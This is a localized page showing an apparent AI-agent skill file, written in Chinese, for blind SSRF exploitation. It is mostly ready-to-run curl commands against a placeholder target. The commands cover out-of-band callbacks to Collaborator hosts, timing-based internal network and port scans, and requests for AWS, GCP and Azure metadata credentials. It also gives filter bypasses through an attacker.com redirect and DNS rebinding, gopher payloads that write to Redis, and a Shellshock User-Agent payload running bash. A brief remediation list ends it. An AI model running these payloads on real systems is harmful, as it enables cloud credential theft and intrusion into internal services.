界面已本地化;技能介绍与说明文档按所选语言由 AI 自动翻译,代码、命令、路径和专业术语保留原文,以原作者文档为准。
探索技能
效率与协作 · SKILL.md

performing-blind-ssrf-exploitation

performing-blind-ssrf-exploitation

【效率与协作】使用带外技术、DNS 交互和时序分析检测并利用盲 SSRF 漏洞,以访问内部服务和云元数据端点。

独立 GitHub 快照 · 自动分类 · 以原作者文档为准

技能说明

GitHub

name: performing-blind-ssrf-exploitation description: 使用带外技术、DNS 交互和时序分析检测并利用盲 SSRF 漏洞,以访问内部服务和云元数据端点。 domain: cybersecurity subdomain: web-application-security tags: [blind-ssrf, ssrf, out-of-band, burp-collaborator, cloud-metadata, internal-network, oob-detection] version: "1.0" author: mahipal license: Apache-2.0

执行盲 SSRF 利用(Performing Blind SSRF Exploitation)

适用场景

  • 测试服务器端响应未被反映的 URL/Webhook 输入参数时
  • 评估获取外部资源的应用程序(头像、预览、导入)时
  • 测试 PDF 生成器、图像处理器或文档转换器的 SSRF 漏洞时
  • 进行云安全评估以检测元数据端点访问时
  • 评估 Webhook 功能和 URL 验证实现时

前置条件

  • 带有 Burp Collaborator 的 Burp Suite Professional,用于带外(OOB)检测
  • interact.sh 或 webhook.site,用于外部回调监控
  • 了解 SSRF 攻击向量和内网枚举
  • 掌握云元数据端点知识(AWS、GCP、Azure)
  • 用于高级利用回调处理的 VPS 或受控服务器
  • 带有 requests 库的 Python,用于自动化脚本

工作流程

步骤 1 — 识别盲 SSRF 输入点

# 常见易受 SSRF 攻击的参数:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# 测试 URL 获取功能
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# 测试 Webhook 配置
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# 测试图片/头像 URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# 测试文档导入
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

步骤 2 — 使用带外检测确认盲 SSRF

# 使用 Burp Collaborator 进行 DNS + HTTP 回调
# 生成 Collaborator 载荷:xxxxxx.oastify.com

# 基于 DNS 的检测(即使 HTTP 被封锁也有效)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 DNS 查询

# 基于 HTTP 的检测
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 HTTP 请求

# interact.sh 替代方案
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# 监控 interact.sh 仪表板的交互

步骤 3 — 枚举内部网络

# 通过盲 SSRF 扫描内部 IP 段
# 使用时序差异判断主机是否存活

# 扫描常见内网段
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# 通过盲 SSRF 进行端口扫描
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "端口 $port 已测试"
done

# 使用 gopher:// 进行更高级的内部服务交互
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

步骤 4 — 访问云元数据端点

# AWS 元数据(IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM 凭证
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP 元数据
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure 元数据
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS 重绑定访问元数据(绕过 IP 封锁)
# 使用 rebinder.net 等服务创建 DNS 重绑定域名
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

步骤 5 — 绕过 SSRF 过滤器

# IP 表示绕过
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # 十六进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # 十进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # 八进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # 简短形式
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL 解析混淆
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# 基于重定向的绕过
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS 重绑定
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'

步骤 6 — 将盲 SSRF 升级为数据外泄

# 通过 DNS 外泄数据(仅 DNS 回调有效时)
# 如果能实现反映数据的服务的 SSRF:
# 链条:SSRF -> 内部服务 -> DNS 外泄

# 使用 gopher 协议执行 Redis 命令
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# 将盲 SSRF 与内部主机的 Shellshock 结合利用
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# 配合 User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# 通过 SSRF 利用内部服务
# Redis:写入 SSH 密钥
# Memcached:注入序列化对象
# Elasticsearch:读取索引
# 内部 API:访问已认证端点

核心概念

概念定义
盲 SSRF(Blind SSRF)服务器发出请求但响应对攻击者不可见
带外检测(Out-of-Band Detection)使用外部回调(DNS、HTTP)确认 SSRF 执行
DNS 重绑定(DNS Rebinding)通过更改 DNS 解析绕过基于 IP 的 SSRF 过滤器的技术
云元数据(Cloud Metadata)可通过 SSRF 访问的实例元数据端点,用于凭证窃取
Gopher 协议允许构造载荷与内部 TCP 服务交互的协议
时序检测(Time-Based Detection)通过测量响应时间差异检测 SSRF 成功
SSRF 链(SSRF Chain)将 SSRF 与其他漏洞结合以获得更大影响

工具与系统

工具用途
Burp Collaborator用于 DNS 和 HTTP 回调检测的带外交互服务器
interact.shProjectDiscovery 的开源带外交互工具
SSRFmap自动化 SSRF 检测和利用框架
Gopherus生成用于通过 SSRF 利用内部服务的 gopher 载荷
webhook.site用于测试 SSRF 回调的免费 Webhook 接收器
rebinder.net用于绕过 SSRF IP 过滤器的 DNS 重绑定服务

常见场景

  1. 云凭证窃取 — 利用盲 SSRF 访问 AWS/GCP/Azure 元数据端点,窃取 IAM 凭证用于云账户入侵
  2. 内部服务发现 — 使用基于时序的盲 SSRF 枚举内网主机和开放端口
  3. Redis 利用 — 将盲 SSRF 与 gopher:// 协议结合,在内部 Redis 实例上执行命令
  4. Webhook 滥用 — 利用 Webhook URL 字段扫描内网并通过带外通道外泄数据
  5. PDF 生成器 SSRF — 向 PDF 生成功能注入内部 URL,在渲染的文档中外泄内部内容

输出格式

## 盲 SSRF 评估报告
- **目标**:http://target.com/api/fetch-url
- **检测方法**:Burp Collaborator DNS + HTTP 回调
- **内部访问已确认**:是

### 发现
| # | 输入点 | 载荷 | 检测 | 影响 |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url 参数 | http://collaborator | HTTP 回调 | 确认 SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | 时序(2.3s vs 0.1s) | 云元数据 |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis 写入已确认 | 潜在 RCE |

### 内网地图
| 主机 | 端口 | 服务 | 可访问 |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | 是 |
| 10.0.0.10 | 9200 | Elasticsearch | 是 |
| 169.254.169.254 | 80 | AWS 元数据 | 是 |

### 修复建议
- 对 URL 获取实施允许的外部域白名单
- 封锁对私有 IP 段和云元数据端点的请求
- 对 AWS 实例元数据使用 IMDSv2(需要令牌)
- 禁用未使用的 URL 协议(gopher、file、dict)
- 为应用程序服务器实施网络级别分段
我的收藏